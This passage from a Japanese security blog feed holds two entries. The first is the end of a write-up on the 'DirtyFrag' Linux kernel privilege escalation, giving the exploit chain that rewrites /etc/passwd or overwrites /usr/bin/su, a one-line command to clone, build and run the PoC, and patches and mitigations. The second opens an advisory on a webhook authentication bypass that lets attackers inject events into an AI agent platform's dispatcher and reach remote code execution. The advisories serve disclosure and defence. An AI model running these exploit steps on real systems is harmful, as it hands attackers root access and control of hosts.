&lt;p&gt;&lt;code&gt;[4]&lt;/code&gt;では、srcとdstのSGLが同一です。&lt;code&gt;skb_to_sgvec()&lt;/code&gt;はskbのfragを直接SGLへ変換するため、攻撃者が&lt;code&gt;splice&lt;/code&gt;を介してピン留めしたページキャッシュページがsrcとdstの両方になります。&lt;code&gt;[5]&lt;/code&gt;の8バイトSTOREは&lt;code&gt;fcrypt_decrypt(C, K)&lt;/code&gt;を書き込みます。これは、fragオフセットの暗号文を攻撃者のセッションキー&lt;code&gt;K&lt;/code&gt;で復号した結果です。&lt;/p&gt;
&lt;p&gt;セッションキーは&lt;code&gt;add_key("rxrpc", ...)&lt;/code&gt;を介して、何の権限もなく自由に植え付けられます。ESPバリアントとは異なり、&lt;strong&gt;ユーザー名前空間は不要&lt;/strong&gt;です。&lt;/p&gt;
&lt;h3 id="エクスプロイト戦略(rxrpcバリアント)"&gt;エクスプロイト戦略（RxRPCバリアント）&lt;/h3&gt;
&lt;p&gt;STOREの値は直接制御できる値ではなく&lt;code&gt;fcrypt_decrypt(C, K)&lt;/code&gt;であるため、攻撃者は目的の8バイト平文が得られるまで、ユーザー空間で&lt;code&gt;K&lt;/code&gt;を総当たりします。&lt;code&gt;fcrypt&lt;/code&gt;は56ビット鍵のAFS暗号であり、ユーザー空間移植版はおよそ18 M/sで動作するため、制約の緩い各ブロックについて約5ミリ秒で鍵が得られます。&lt;/p&gt;
&lt;p&gt;対象は&lt;code&gt;/etc/passwd&lt;/code&gt;の1行目です。このエクスプロイトは、ファイルオフセット4、6、8の位置に3つの重なり合う8バイトSTOREを適用し、&lt;code&gt;"root:x:0:0:root:/root:/bin/bash"&lt;/code&gt;を&lt;code&gt;"root::0:0:GGGGGG:/root:/bin/bash"&lt;/code&gt;へと作り変えます。passwdフィールドは空文字列になり、&lt;code&gt;nullok&lt;/code&gt;付きの&lt;code&gt;pam_unix.so&lt;/code&gt;はそれを受け入れ、パスワードを求めることなく&lt;code&gt;PAM_SUCCESS&lt;/code&gt;を返します。&lt;/p&gt;
&lt;p&gt;各位置でのSTOREには、次の処理が必要です。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;連鎖した暗号文の計算（すでにそのページに適用済みの以前のSTOREを考慮する）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fcrypt_decrypt(C_actual, K)&lt;/code&gt;が目的の平文を生成するような&lt;code&gt;K&lt;/code&gt;の総当たり。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;add_key&lt;/code&gt;による鍵の登録、ループバックのAF_RXRPCハンドシェイクのセットアップ、ワイヤチェックサムの事前計算、そして&lt;code&gt;vmsplice&lt;/code&gt; + &lt;code&gt;splice&lt;/code&gt;を介した偽造DATAパケットの配送。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;このバリアントは&lt;code&gt;unshare()&lt;/code&gt;を呼び出しません。すべてのシステムコール（&lt;code&gt;add_key&lt;/code&gt;、&lt;code&gt;socket(AF_RXRPC)&lt;/code&gt;、&lt;code&gt;socket(AF_ALG)&lt;/code&gt;、&lt;code&gt;splice&lt;/code&gt;、&lt;code&gt;recvmsg&lt;/code&gt;）は、権限を持たないユーザーが利用できます。&lt;/p&gt;
&lt;h3 id="パッチ(cve-2026-43500)"&gt;パッチ（CVE-2026-43500）&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71"&gt;この修正&lt;/a&gt;は、&lt;code&gt;call_event.c&lt;/code&gt;および&lt;code&gt;conn_event.c&lt;/code&gt;におけるインプレース復号前のガードを、単一の&lt;code&gt;skb_cloned&lt;/code&gt;チェックから、共有skbおよびfrag-list skbも捕捉するように拡張します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gd"&gt;-if (skb_cloned(skb)) {&lt;/span&gt;
&lt;span class="gi"&gt;+if (skb_cloned(skb) || skb_has_frag_list(skb) ||&lt;/span&gt;
&lt;span class="gi"&gt;+   skb_has_shared_frag(skb)) {&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;外部からピン留めされたページ化fragを運ぶskbは、復号シンクに到達する前に&lt;code&gt;skb_copy()&lt;/code&gt;によって隔離されるようになりました。&lt;/p&gt;
&lt;h2 id="dirtyfrag:エクスプロイトチェーン &amp;mdash; 単一バイナリ、汎用root"&gt;DirtyFrag：エクスプロイトチェーン &amp;mdash; 単一バイナリ、汎用root&lt;/h2&gt;
&lt;p&gt;連鎖のロジックは単純です。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;1.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Attempt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ESP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;variant&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;child&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unshare&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;USER&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;NET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;rarr;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;register&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;XFRM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SAs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;rarr;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;splice&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;rarr;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;patch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;su&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;2.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;Read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shellcode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;su&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Success&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;rarr;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;for&lt;/span&gt;&lt;span class="n"&gt;kpty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;execve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/usr/bin/su"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;rarr;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;
&lt;span class="mf"&gt;3.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Failure&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unshare&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;denied&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esp4&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ko&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;abs&lt;/span&gt;&lt;span class="n"&gt;ent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;registration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fails&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Fall&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RxRPC&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;variant&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;K&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;brute&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="kr"&gt;for&lt;/span&gt;&lt;span class="n"&gt;ce&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;times;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;rarr;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;splice&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;triggers&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;rarr;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;passwd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cleared&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="kr"&gt;for&lt;/span&gt;&lt;span class="n"&gt;kpty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;execve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/usr/bin/su"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;rarr;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PAM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullok&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;rarr;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;この組み合わせた連鎖は、次の環境で確認されています。Ubuntu 24.04.4（kernel 6.17.0-23）、RHEL 10.1（6.12.0-124.49.1）、openSUSE Tumbleweed（7.0.2-1）、CentOS Stream 10、AlmaLinux 10、そしてFedora 44です。レースコンディションは関与せず、失敗してもカーネルはパニックを起こさず、成功率はほぼ100%です。&lt;/p&gt;
&lt;h2 id="dirtyfragの概念実証(poc)"&gt;DirtyFragの概念実証（PoC）&lt;/h2&gt;
&lt;p&gt;公開されているPoCは単一のCファイルです。次のコマンドでビルドして実行します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://github.com/V4bel/dirtyfrag.git&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;dirtyfrag&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;gcc&lt;span class="w"&gt; &lt;/span&gt;-O0&lt;span class="w"&gt; &lt;/span&gt;-Wall&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;exp&lt;span class="w"&gt; &lt;/span&gt;exp.c&lt;span class="w"&gt; &lt;/span&gt;-lutil&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;./exp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="テスト環境"&gt;テスト環境&lt;/h3&gt;
&lt;p&gt;このエクスプロイトは、未パッチのカーネルでUbuntu 24.04.1を実行するローカルのVirtualBox VM上でテストされました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Linux aziz-VirtualBox 6.17.0-23-generic #23~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 14 16:11:48 UTC 2 x86_64 GNU/Linux
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="システム情報 &amp;mdash; Ubuntu 24.04.1、kernel 6.17.0-23-generic" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-05-11_dirtyfrag/sys_info.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;em&gt;図1：対象システム &amp;mdash; Ubuntu 24.04.1、kernel 6.17.0-23-generic（未パッチ）&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="エクスプロイトの実行"&gt;エクスプロイトの実行&lt;/h3&gt;
&lt;p&gt;エクスプロイトチェーンはまずESPバリアントを実行し（このカーネルではユーザー名前空間の作成が許可されています）、&lt;code&gt;/usr/bin/su&lt;/code&gt;のページキャッシュをrootシェルELFで上書きし、1秒未満でrootシェルを返しました。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="DirtyFrag PoC &amp;mdash; rootシェルの取得" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-05-11_dirtyfrag/dirtyfrag_poc.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;em&gt;図2：権限を持たないユーザーがDirtyFragを介して&lt;code&gt;uid=0(root) gid=0(root) groups=0(root)&lt;/code&gt;を取得&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="当面の緩和策"&gt;当面の緩和策&lt;/h2&gt;
&lt;p&gt;カーネルアップデートが利用可能になるまでは、脆弱なモジュールを無効化し、ページキャッシュをフラッシュします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sh&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' \&lt;/span&gt;
&lt;span class="s2"&gt;  &amp;gt; /etc/modprobe.d/dirtyfrag.conf; \&lt;/span&gt;
&lt;span class="s2"&gt;  rmmod esp4 esp6 rxrpc 2&amp;gt;/dev/null; \&lt;/span&gt;
&lt;span class="s2"&gt;  echo 3 &amp;gt; /proc/sys/vm/drop_caches; true"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="修復"&gt;修復&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;バックポートが利用可能になり次第、お使いのディストリビューションのカーネルアップデートを適用してください。&lt;/li&gt;
&lt;li&gt;IPsecやAFSを必要としないシステムでは、&lt;code&gt;esp4&lt;/code&gt;、&lt;code&gt;esp6&lt;/code&gt;、&lt;code&gt;rxrpc&lt;/code&gt;モジュールがロードされていないことを確認してください（&lt;code&gt;lsmod | grep -E 'esp4|esp6|rxrpc'&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;Ubuntuでは、権限を持たないユーザー名前空間の作成に関するAppArmorポリシーを見直してください。これはESP経路をブロックしますが、RxRPC経路はそれとは無関係に開いたままです。&lt;/li&gt;
&lt;li&gt;機微なsetuidバイナリや&lt;code&gt;/etc/passwd&lt;/code&gt;について、ページキャッシュの異常を監視してください。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="参考資料"&gt;参考資料&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;リソース&lt;/th&gt;
&lt;th style="text-align: left;"&gt;リンク&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;GitHub PoC (V4bel/dirtyfrag)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/V4bel/dirtyfrag"&gt;https://github.com/V4bel/dirtyfrag&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;カーネルパッチ CVE-2026-43284 (f4c50a4034e6)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4"&gt;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;カーネルパッチ CVE-2026-43500 (aa54b1d27fe0)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71"&gt;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;NVD CVE-2026-43284&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43284"&gt;https://nvd.nist.gov/vuln/detail/CVE-2026-43284&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Red Hat Advisory RHSB-2026-003&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://access.redhat.com/security/vulnerabilities/RHSB-2026-003"&gt;https://access.redhat.com/security/vulnerabilities/RHSB-2026-003&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Ubuntu Security Notice&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://ubuntu.com/blog/dirty-frag-linux-vulnerability-fixes-available"&gt;https://ubuntu.com/blog/dirty-frag-linux-vulnerability-fixes-available&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</content><category term="Security"/><category term="Security"/><category term="CVE"/><category term="LPE"/><category term="vulnerability"/><category term="cve-news"/><category term="linux"/><category term="kernel"/></entry><entry><title>CVE-2026-44109：OpenClaw Feishuの認証バイパスからRCEへ</title><link href="https://blog.ostorlab.co/ja/cve-2026-44109-openclaw-feishu-auth-bypass.html" rel="alternate"/><published>2026-05-07T14:00:00+02:00</published><updated>2026-05-07T14:00:00+02:00</updated><author><name>Mohammed Lachhab</name></author><id>tag:blog.ostorlab.co,2026-05-07:/ja/cve-2026-44109-openclaw-feishu-auth-bypass.html</id><summary type="html">&lt;p&gt;OpenClaw（&amp;lt; 2026.4.15）に存在するCVSS 9.2のクリティカルな認証バイパス脆弱性CVE-2026-44109の技術的解説です。Feishu/Larkプラグインにある2つのフェイルオープンのロジック反転、すなわちWebhook署名バリデーターの1つとカードアクションのリプレイガードの1つにより、認証されていない攻撃者がOpenClawのコマンドディスパッチエンジンに任意のイベントを注入できます。ボットで実行系ツールが有効になっている場合、これはそのままOpenClawプロセスの権限によるホストマシン上での認証なしのリモートコード実行につながります。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;CVE-2026-44109&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;OpenClaw FeishuのWebhook認証バイパス：PoCと完全なRCE&lt;/p&gt;
&lt;p&gt;2026年5月7日 &amp;middot; CVSS 9.2 クリティカル &amp;middot; OpenClaw &amp;lt; 2026.4.15&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;CVE ID&lt;/th&gt;
&lt;th style="text-align: left;"&gt;CVSS&lt;/th&gt;
&lt;th style="text-align: left;"&gt;影響を受けるバージョン&lt;/th&gt;
&lt;th style="text-align: left;"&gt;修正バージョン&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CVE-2026-44109&lt;/td&gt;
&lt;td style="text-align: left;"&gt;9.2 クリティカル&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&amp;lt; 2026.4.15&lt;/td&gt;
&lt;td style="text-align: left;"&gt;2026.4.15+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="概要"&gt;概要&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://openclaw.ai"&gt;OpenClaw&lt;/a&gt;は、大規模言語モデル（LLM）をFeishu（Lark）、Slack、Telegram、Discordなどのメッセージングチャネルに接続する、セルフホスト型のAIアシスタントプラットフォームです。Feishu Webhookモードで構成すると、OpenClawはHTTPサーバーを開き、Feishuからプッシュされるイベント、すなわち受信メッセージ、ボタンのクリック、カードの操作を受け取り、処理のためにAIエージェントへルーティングします。ボットには、シェル実行、ファイルアクセス、Webブラウジング、FeishuのAPIへのフルアクセスといったツールを与えることができ、これによりOpenClawプロセスは特権的な実行対象となります。&lt;/p&gt;
&lt;p&gt;CVE-2026-44109は、Feishuプラグインにある2つの独立したフェイルオープンのロジック反転を対象としています。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Webhook署名バイパス&lt;/strong&gt;：&lt;code&gt;monitor.transport.ts&lt;/code&gt;内の&lt;code&gt;isFeishuWebhookSignatureValid()&lt;/code&gt;は、&lt;code&gt;encryptKey&lt;/code&gt;が欠落または空白の場合に&lt;code&gt;true&lt;/code&gt;を返し、署名のない任意のPOSTリクエストがイベントディスパッチャーに到達することを許してしまいます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;カードアクションのリプレイバイパス&lt;/strong&gt;：&lt;code&gt;card-action.ts&lt;/code&gt;内の&lt;code&gt;beginFeishuCardActionToken()&lt;/code&gt;は、空白のトークンに対して&lt;code&gt;true&lt;/code&gt;を返し、ワンタイムトークンの重複排除システムをバイパスして、カードアクションイベントの無制限なリプレイを許してしまいます。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;これらのバグが組み合わさることで、Webhookポートへのネットワークアクセスを持つ認証されていない攻撃者が、OpenClawのAIディスパッチレイヤーにイベントを注入でき、シェルツールが有効であればホスト上で&lt;strong&gt;リモートコード実行&lt;/strong&gt;を達成できます。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="脆弱性の詳細"&gt;脆弱性の詳細&lt;/h2&gt;
&lt;h3 id="バグ1:webhook署名バイパス(monitor.transport.ts)"&gt;バグ1：Webhook署名バイパス（&lt;code&gt;monitor.transport.ts&lt;/code&gt;）&lt;/h3&gt;
&lt;p&gt;OpenClawのFeishu Webhookモードは、リクエストのタイムスタンプ、nonce、&lt;code&gt;encryptKey&lt;/code&gt;、本文から計算されるHMAC-SHA256署名を使用して、受信リクエストを検証します。検証は&lt;code&gt;isFeishuWebhookSignatureValid()&lt;/code&gt;で行われます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;脆弱なコード&lt;/strong&gt;（&lt;code&gt;extensions/feishu/src/monitor.transport.ts&lt;/code&gt;、コミット&lt;code&gt;c8003f1b&lt;/code&gt;より前）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;isFeishuWebhookSignatureValid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;http.IncomingHttpHeaders&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;rawBody&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;encryptKey?&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
